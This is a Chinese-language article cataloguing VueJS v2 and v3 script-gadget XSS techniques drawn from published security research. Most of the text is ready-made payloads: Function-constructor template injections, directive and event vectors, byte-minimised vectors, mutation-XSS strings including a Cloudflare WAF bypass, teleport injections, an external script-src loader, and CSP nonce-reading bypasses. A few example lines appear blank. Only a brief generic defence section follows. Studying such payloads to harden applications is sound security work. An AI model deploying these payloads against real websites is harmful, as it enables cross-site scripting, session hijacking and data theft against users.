VueJS脚本小工具规避防御技术详解
概述
本文详细介绍了如何利用VueJS框架中的脚本小工具(Script Gadgets)来绕过各种Web安全防御机制,包括WAF(Web应用防火墙)、CSP(内容安全策略)和HTML过滤器等。这些技术由安全研究人员Gareth Heyes、Lewis Ardern和PwnFunction共同发现并整理。
基本概念
脚本小工具(Script Gadgets)
脚本小工具是指由框架创建的额外功能,可以导致JavaScript执行。这些功能可以是JavaScript或基于HTML的,通常对绕过WAF和CSP等防御措施很有用。
VueJS v2攻击技术
基本表达式注入
VueJS模板中的表达式可以通过Function构造函数执行任意代码:
{ {toString().constructor.constructor('alert(1)')()} }
优化后的更短版本:
{ {_c.constructor('alert(1)')()} }
指令利用
几乎所有VueJS指令都可以作为攻击向量:
- v-show指令:
<p v-show="_c.constructor`alert(1)`()">
- v-on指令:
<x v-on:click='_b.constructor`alert(1)`()'>click</x>
- v-bind指令:
<x v-bind:a='_b.constructor`alert(1)`()'>
最小化向量
研究人员发现多种缩短payload的方法:
<x @[_b.constructor`alert(1)`()]> (35字节)
<x :[_b.constructor`alert(1)`()]> (33字节)
<p v-=_c.constructor`alert(1)`()> (33字节)
<x #[_c.constructor`alert(1)`()]> (33字节)
<p :=_c.constructor`alert(1)`()> (32字节)
最短的VueJS v2向量(23字节):
<x is=script src=//⑭⑭.₨₨>
事件利用
利用VueJS的特殊$event对象:
更短的跨浏览器版本:
利用this指向window对象的特性:
<svg @load=this.alert(1)>
更紧凑的写法(去除空格):
<svg@load=this.alert(1)>
沉默的水槽(Silent Sink)
当VueJS与jQuery等库结合使用时,可能出现安全漏洞:
$('#message').text("{ {_c.constructor('alert(2)')()} }")
突变XSS(mXSS)
VueJS解析器特性导致的DOM突变:
- 属性名包含引号导致突变:
<x title"="<iframe onload =alert(1)>">
- 绕过Cloudflare WAF的变体:
<x title"="<iframe onload =setTimeout(/alert(1)/.source)>">
- 其他突变形式:
<x < x="<iframe onload=alert(0)>">
<x = x="<iframe onload=alert(0)>">
<x ' x="<iframe onload=alert(0)>">
- 模板标签突变:
<template><iframe></iframe></template>
- 多重SVG标签导致突变:
<svg><svg><b><noscript></noscript><iframe onload=alert(1)></noscript></b></svg>
突变与CSP绕过
使用VueJS事件处理程序绕过CSP:
<svg><svg><b><noscript></noscript></noscript></b></svg>
VueJS v3攻击技术
基本表达式注入
v3中函数名更长:
{ {_openBlock.constructor('alert(1)')()} }
{ {_createBlock.constructor('alert(1)')()} }
{ {_toDisplayString.constructor('alert(1)')()} }
{ {_createVNode.constructor('alert(1)')()} }
指令利用
<p v-show="_createBlock.constructor`alert(1)`()">
事件利用
<x @click=_withCtx.constructor`alert(1)`()>click</x>
<x @click=$event.view.alert(1)>click</x>
最小化向量
使用_Vue.h缩短payload:
{ {_Vue.h.constructor`alert(1)`()} }
更短的版本:
{ {$emit.constructor`alert(1)`()} }
最短的v3向量(31字节):
<component is=script src=//⑭⑭.₨₨>
使用DOM属性:
<component is=script text=alert(1)>
传送(Teleport)技术
利用<teleport>标签转移内容:
<teleport to="#x"><b>test</b></teleport>
注入JavaScript:
<teleport to=script:nth-child(2)>alert(1)</teleport></div><script></script>
修改样式:
<teleport to="style">
h1 {
color: red;
}
</teleport>
反向传送
利用CSS选择器执行表达式:
<div id="app">#x,.haha</div><div class=haha>{ {_Vue.h.constructor`alert(1)`()} }</div>
实际应用场景
绕过WAF
VueJS解码HTML实体的能力可绕过Cloudflare等WAF。
绕过过滤器
DOMPurify等过滤器允许模板语法,与VueJS结合时可能失效。
绕过CSP
需要unsafe-eval时,VueJS可绕过CSP:
// v2
{ {_c.constructor`alert(document.currentScript.nonce)`()} }
// v3
{ {_Vue.h.constructor`alert(document.currentScript.nonce)`()} }
防御建议
-
对开发者:
- 仔细考虑框架功能可能带来的攻击面
- 了解用户输入可能被滥用或误用的方式
-
对安全研究人员:
- 深入挖掘框架功能
- 查看底层源码了解实现细节
总结
本文详细介绍了VueJS v2和v3中的各种脚本小工具技术,包括表达式注入、指令利用、事件利用、mXSS、传送技术等,以及如何利用这些技术绕过WAF、CSP和HTML过滤器。这些技术已被添加到XSS Cheat Sheet的VueJS部分。